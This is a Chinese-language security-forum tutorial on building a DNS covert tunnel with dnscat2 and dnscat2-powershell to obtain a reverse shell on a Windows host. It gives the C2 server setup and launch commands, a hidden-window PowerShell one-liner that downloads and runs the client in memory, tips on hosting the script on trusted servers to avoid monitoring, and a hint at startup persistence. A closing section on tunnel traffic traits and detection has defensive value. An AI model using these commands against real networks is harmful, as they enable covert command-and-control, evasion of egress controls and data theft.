Powershell+Dnscat2实现DNS隐蔽隧道反弹Shell

dj和dj / 2018-03-24 10:38:30 / 浏览数 12935 技术文章 技术文章 顶(2) 踩(0)

读者也许听过很多大数据分析和人工智能安全的宣讲，那些由密密麻麻方框搭起的架构图到底效果如何，先进技术在产品中如何落地实现，其实答案也很简单，让我们一起将

在安全策略严格的内网环境中，常见的C&C通讯端口都被众多安全设备所监控。如果红队对目标内网的终端进行渗透时，发现该网段只允许白名单流量出站，同时其它端口都
Shell。

1、工具

本次演示使用两个软件：

1. Dnscat2为开源，使用DNS协议创建加密C&C通道，提供服务器端和客户端

   ■■ https://github.com/iagox86/dnscat2

2. dnscat2-powershell是一个powershell版本的Dnscat2客户端

   ■■ https://github.com/lukebaggett/dnscat2-powershell

只用Dnscat2的官方客户端也可以创建Reverse
Shell，只不过需要下载win32运行程序到目标终端本地运行，虽然一般杀毒软件不会报警，但是总觉得不妥。当然读者也可以尝试转码官方客户端并构造IEX，但那是另外一

2、架设C&C

首先假设控制用的基础设施。笔者选择了一台阿里云服务器安装Ubuntu 16.04系统作为C&C服务器，一台Windows 10
x64虚拟机用作被攻击盗取数据的目标，另外还需要一个可以配置的域名。

DNS Tunnel示意图

虽然Dnscat2提供53端口直联服务器的功能，但是想达到最好的隐蔽隧道效果，需要自行配置域名cirrus.[domain]：创建A记录，将自己的域名解析服务器(ns.cirrus.[doma
3.1..***)；再创建NS记录将dnsch子域名的解析交给ns.cirrus.[domain]。

在云服务器(IP: 3.1..***)上安装Dnscat2服务端。如果你熟悉Ruby和GEM，那么安装十分简单，可以跳过下面的命令。

```
# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
```

接下来安装Dnscat2 Server。

```
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install
```

Ruby会提示什么时候用到root权限。

如果一切顺利，已经可以输入下面的命令来启动服务端：

```
# sudo ruby ./dnscat2.rb dnsch.cirrus.[domain] -e open -c dnschcirrus --no-cache
```

请注意把dnsch.cirrus.[domain]换成你自己的域名。命令行中，-c参数定义了pre-shared
secret，在服务器端和客户端使用相同加密的秘密dnschcirrus，可以防止man-in-the-middle攻击，否则传输数据并未加密，有可能被监听网络流量的第三方还原；如果不

如果没有给root权限就无法监听DNS服务所使用的53端口。

3、目标主机加载客户端

Dnscat2亦有编译好的Windows客户端，感兴趣的读者可以自行下载试用。而使用Powershell-Dnscat2除了获得可交互的Reverse
Shell外，依靠powershell标准的IEX加载脚本方式，从外部可信任网站下载到内存再加以利用，fileless运行客户端避免文件落地，降低风险。官方网址给出的链接为：

```
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/
```

读者也可以把dnscat2.ps1内容放置到目标网络信任的服务器上，躲避监控。

对红队来讲，下面启动客户端的参数十分重要。

```
-Domain <String>                The Domain being used by the dnscat2 server.
-DNSServer <String>             The hostname or IP Address to send DNS queries to. (Default: Set by Windows)
```

```
-PreSharedSecret                Set the same secret on the server to authenticate and prevent MITM.
-LookupTypes <String[]>         Set an array of lookup types to randomly switch between. Only TXT, MX, CNAME, A, and AAAA reco
-Delay <Int32>                  Set a delay between each request, in milliseconds. (Default: 0)
-MaxRandomDelay <Int32>         Set the max value of a random delay added to the normal delay, in milliseconds. (Default: 0)
```

我们重新构造一下powershell命令实现一句话脚本，更易利用并减少注意力：

```
powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukeb
```

请注意，设置与服务器相同的通信加密用的PreSharedSecret，还有替换你自己的域名。其它参数如bypass等依读者需要自行添加。

4、DNS隐蔽隧道之上的反弹Shell

此时，我们已可以在服务器上看到客户端上线提示。

使用windows命令查看目前的控制进程有哪些。

提示符后输入window -i 9进入DESKTOP-EQIRG2L，然后启动shell，便可以交互输入命令并查看。

具体Dnscat2控制命令的使用笔者就不赘述了，读者可自行查阅文档尝试。

读者也可以尝试持久化，将上面那行powershell命令加入开机启动执行。

如果在目标终端上使用Dnscat2自己的客户端，显示如下。

5、DNS隐蔽隧道流量特征

让我们一起观察Dnscat2所使用的隧道流量数据。

我们很容易注意到，主要使用了CNAME、MX、以及TXT记录的查询。

dnscat2拥有独立的服务器(Ruby)和客户端(C)，作者实现了一个转换器，把所有传输数据变成字节流，因此拥有一个私有的数据传输分层协议，跑在下面的DNS层之上。

对比上篇文章中提到的Cobalt Strike的DNS隐蔽隧道利用，我们可以发现Dnscat2的自有格式协议明显不够清晰。例如，Cobalt Strike缺省设置，每60秒按格式
[Session ID].dnsch.cirrus.[domain] 发送A记录解析请求，向C2服务器报告上线；使用A记录查询向服务器上传数据，使用TXT记录下载指令和payloads等。

Dnscat2上传和下载两个方向上的所有数据都用十六进制编码字符串传输，例如，AAA转换成为414141。域名中的任何小数点都被忽略，因此，41.4141、414.141、和414

在这里，必须要补充说明的是，笔者曾经快速扫过Dnscat2的代码实现，发现其通讯的容错和纠正机制并不完善，所以有很大几率出现运行不稳定的状况。感兴趣的读者也可

DNS隐蔽隧道检测是识别未知威胁必不可少的关键技术能力。震惊零售业的POS木马的余波还在扩散，Home
Depot和Target等巨头付出了惨重代价。这事件中肆虐的FrameworkPOS木马就采用了DNS隐蔽通道回传数据的方法，将在内存中发现的信用卡数据上传回服务器，具体格

而去年曾引起广泛注意的Xshell软件被植入木马攻击的事件中也使用了DGA和DNS隧道技巧：

毫无疑问，思睿嘉得DLP和NTA标准产品已经能够准确检测Dnscat2反弹shell，报警截图如下所示：

(本系列教程介绍演示常见外部入侵和内部威胁的手法、战术、以及工具，并给出使用现有成熟产品进行检测和响应的实际方法。)

上一篇：某内容管理系统的几点有趣问题 下一篇：PHP trick（代码审计关注点）

1. 1 条回复

evi1ox 2018-03-25 16:06:28

http://vinc.top/2017/05/29/dnscat2%EF%BC%9A%E5%88%A9%E7%94%A8dns%E9%9A%A7%E9%81%93%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%A

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板